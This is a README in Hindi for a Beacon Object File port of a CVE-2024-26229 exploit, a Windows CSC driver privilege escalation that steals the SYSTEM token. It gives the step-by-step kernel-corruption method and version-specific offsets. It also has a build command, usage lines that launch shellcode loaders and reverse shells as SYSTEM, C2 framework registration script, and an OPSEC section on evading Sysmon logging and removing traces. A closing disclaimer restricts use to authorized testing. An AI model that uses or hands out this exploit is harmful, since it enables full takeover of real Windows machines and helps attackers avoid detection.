
CVE-2024-26229 बीकन ऑब्जेक्ट फ़ाइल संस्करण
Beacon Object File कार्यान्वयन CVE-2024-26229 का — Windows CSC ड्राइवर स्थानीय विशेषाधिकार वृद्धि DKOM टोकन चोरी के माध्यम से।
RalfHacker/CVE-2024-26229-exploit पर आधारित, BOF में परिवर्तित किया गया जिसमें डायनामिक फंक्शन रिजॉल्यूशन (DFR) है, जो उन C2 फ्रेमवर्क के साथ उपयोग के लिए है जो Cobalt Strike BOF API का समर्थन करते हैं।
NtCreateFile के माध्यम से \Device\Mup\;Csc\.\. खोलता है ताकि CSC ड्राइवर का हैंडल प्राप्त हो सके0x001401a3 (CSC_DEV_FCB_XXX_CONTROL_FILE) भेजता है जिसमें एक निर्मित इनपुट बफर KTHREAD->PreviousMode - 0x18 की ओर इशारा करता है, PreviousMode को UserMode से KernelMode में दूषित करता हैPreviousMode = KernelMode के साथ, NtWriteVirtualMemory मनमाने कर्नेल पतों पर लिख सकता हैPID 4) के EPROCESS->Token को वर्तमान प्रक्रिया टोकन पर कॉपी करता है (DKOM)PreviousMode को UserMode में पुनर्स्थापित करता हैCreateProcessA के माध्यम से निर्दिष्ट निष्पादन योग्य को चलाता है — चाइल्ड प्रक्रिया SYSTEM टोकन प्राप्त करती हैबीकन प्रक्रिया स्वयं चरण 4 के बाद SYSTEM बन जाती है। चलाई गई प्रक्रिया वैकल्पिक है — यदि CreateProcessA विफल होता है, तो बीकन अभी भी उन्नत है।
HKLM\SYSTEM\CurrentControlSet\Services\CSC → Start = 1)| ऑफ़सेट | मान | संरचना |
|---|---|---|
EPROCESS->Token | 0x4B8 | Windows 10 19041–19045 / Server 2019 17763 |
KTHREAD->PreviousMode | 0x232 | Windows 10 19041–19045 / Server 2019 17763 |
ये ऑफ़सेट संस्करण-विशिष्ट हैं। यदि किसी भिन्न बिल्ड को लक्षित कर रहे हैं, तो WinDbg से सत्यापित करें:
dt nt!_EPROCESS Token
dt nt!_KTHREAD PreviousMode
mingw-w64 और आपके C2 फ्रेमवर्क के अनुकूल एक beacon.h हेडर की आवश्यकता है।
x86_64-w64-mingw32-gcc -c -o cve-2024-26229.x64.o cve-2024-26229.c
संकलित .o फ़ाइल को अपनी BOF निर्देशिका में रखें (जैसे, _bin/cve-2024-26229.x64.o)।
cve-2024-26229 --path <exe_path> [--args "<exe_args>"]
स्थानीय शेलकोड के साथ एक लोडर चलाएँ:
cve-2024-26229 --path C:\Users\user\loader.exe --args "--munition-local C:\Users\user\payload.bin"
एक रिवर्स शेल चलाएँ:
cve-2024-26229 --path C:\Windows\System32\cmd.exe --args "/c C:\Users\user\shell.exe"
बिना तर्कों के चलाएँ:
cve-2024-26229 --path C:\Users\user\beacon.exe
[+] System EPROCESS = 0xffff9383f3a62040
[+] Current KTHREAD = 0xffff9383fa4df080
[+] Current EPROCESS = 0xffff9383fa9b3080
[!] DKOM: overwriting EPROCESS->Token
[+] Token replaced -- beacon process is now SYSTEM
[+] Spawned PID 2044 as SYSTEM: C:\Users\user\loader.exe --munition-local C:\Users\user\payload.bin
अपनी .axs एक्सटेंशन स्क्रिप्ट में BOF पंजीकृत करें:
var cmd_cve26229 = ax.create_command(
"cve-2024-26229",
"CVE-2024-26229 CSC driver LPE -- DKOM token theft to SYSTEM",
"cve-2024-26229 --path C:\\loader.exe --args \"--munition-local C:\\payload.bin\""
);
cmd_cve26229.addArgFlagString("--path", "path", "Path to executable to run as SYSTEM", "");
cmd_cve26229.addArgFlagString("--args", "args", "Arguments for the executable", "");
cmd_cve26229.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {
let path = parsed_json["path"];
let args = parsed_json["args"];
if (!path) {
ax.task_output(id, "Error: --path is required");
return;
}
let bof_params = ax.bof_pack("cstr,cstr", [path, args]);
let bof_path = ax.script_dir() + "_bin/cve-2024-26229." + ax.arch(id) + ".o";
ax.execute_alias(id, cmdline, `execute bof "${bof_path}" ${bof_params}`, "Task: CVE-2024-26229 LPE");
});
तर्क पैकिंग cstr,cstr है — दो शून्य-समाप्त स्ट्रिंग्स BOF में दो BeaconDataExtract कॉल से मेल खाती हैं।
PreviousMode के माध्यम से संचालित होता है। कोई फ़ाइल नहीं लिखी जाती, कोई सेवा नहीं बनाई जाती, कोई रजिस्ट्री संशोधन नहीं होता।--munition-local पैटर्न) के साथ जोड़ें।CreateProcessA जिसमें CREATE_NO_WINDOW है। चलाई गई प्रक्रिया SYSTEM टोकन प्राप्त करती है। यदि आपका लोडर किसी अन्य प्रक्रिया (जैसे, svchost.exe) में इंजेक्ट करता है, तो डिस्क पर मौजूद लोडर को बाद में साफ किया जा सकता है।\Device\Mup\;Csc\.\. पर NtCreateFile कॉल और IOCTL आमतौर पर डिफ़ॉल्ट Sysmon कॉन्फ़िगरेशन द्वारा लॉग नहीं किए जाते। CreateProcessA कॉल एक मानक प्रक्रिया निर्माण (इवेंट ID 1) उत्पन्न करेगा — सुनिश्चित करें कि आपका चलाया गया बाइनरी हस्ताक्षरित नहीं है।PreviousMode को UserMode में पुनर्स्थापित करता है। बीकन प्रक्रिया शोषण के बाद सामान्य रूप से कार्य करना जारी रखती है।EPROCESS->Token (0x4B8) और KTHREAD->PreviousMode (0x232) मान Windows 10 19041–19045 और Server 2019 17763 के लिए मान्य हैं। अन्य बिल्ड में समायोजन की आवश्यकता हो सकती है।sc query csc या रजिस्ट्री HKLM\SYSTEM\CurrentControlSet\Services\CSC (Start = 1) जाँचें। ड्राइवर वर्कस्टेशन पर डिफ़ॉल्ट रूप से सक्षम है लेकिन सर्वर पर अक्षम हो सकता है।यह उपकरण केवल अधिकृत पैठ परीक्षण और सुरक्षा अनुसंधान के लिए अभिप्रेत है।
इस उपकरण का उपयोग उन प्रणालियों के विरुद्ध करना जिनके आप स्वामी नहीं हैं या जिनके लिए आपके पास स्पष्ट लिखित अनुमति नहीं है, वियतनामी कानून के तहत अवैध है, जिसमें निम्नलिखित शामिल हैं लेकिन इन्हीं तक सीमित नहीं है:
यह उपकरण केवल शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। लेखक दुरुपयोग के लिए कोई देयता नहीं मानता। आप पूरी तरह से अपने उपयोग को सभी लागू स्थानीय, राष्ट्रीय और अंतर्राष्ट्रीय कानूनों के अनुपालन में सुनिश्चित करने के लिए जिम्मेदार हैं।
इस उपकरण का उपयोग करके आप पुष्टि करते हैं कि आपने किसी भी परीक्षण गतिविधि से पहले सिस्टम स्वामी से उचित प्राधिकरण प्राप्त कर लिया है।